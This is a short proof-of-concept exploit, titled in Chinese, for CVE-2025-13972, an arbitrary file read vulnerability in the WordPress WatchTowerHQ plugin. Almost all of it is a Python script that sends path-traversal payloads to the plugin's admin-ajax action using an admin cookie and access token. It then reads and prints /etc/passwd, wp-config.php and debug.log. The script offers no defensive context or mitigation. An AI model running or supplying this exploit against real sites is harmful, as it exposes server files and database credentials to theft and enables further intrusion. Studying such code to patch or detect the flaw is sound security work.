CVE-2025-13972 WordPress WatchTowerHQ插件任意文件读取漏洞

import requests import sys # CVE-2025-13972 PoC - WatchTowerHQ Plugin Arbitrary File Read # Requires: Administrator access + valid access token TARGET_URL = "http://target-wordpress-site.com" ACCESS_TOKEN = "your_valid_access_token" ADMIN_COOKIE = "wordpress_admin_cookie_here" def read_arbitrary_file(file_path): """ Attempt to read arbitrary file via WatchTowerHQ plugin vulnerability """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-WH-Access-Token": ACCESS_TOKEN, "Cookie": ADMIN_COOKIE } # Construct malicious payload with path traversal # File path can be: ../../../../../../../../../../../..{target_file} payload = f"action=wht_big_object_download&wht_download_big_object_origin=../../../../../../../../../../../..{file_path}" try: response = requests.post(endpoint, headers=headers, data=payload, timeout=30) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read: {file_path}") print(f"[+] Content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed to read: {file_path}") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-13972 WatchTowerHQ Arbitrary File Read PoC") print("=" * 60) # Target files to read targets = [ "etc/passwd", "var/www/html/wp-config.php", "var/www/html/wp-content/debug.log" ] for target in targets: content = read_arbitrary_file(target) if content: print(f"\n[File Content Start]") print(content.decode('utf-8', errors='ignore')[:500]) print(f"[File Content End]\n")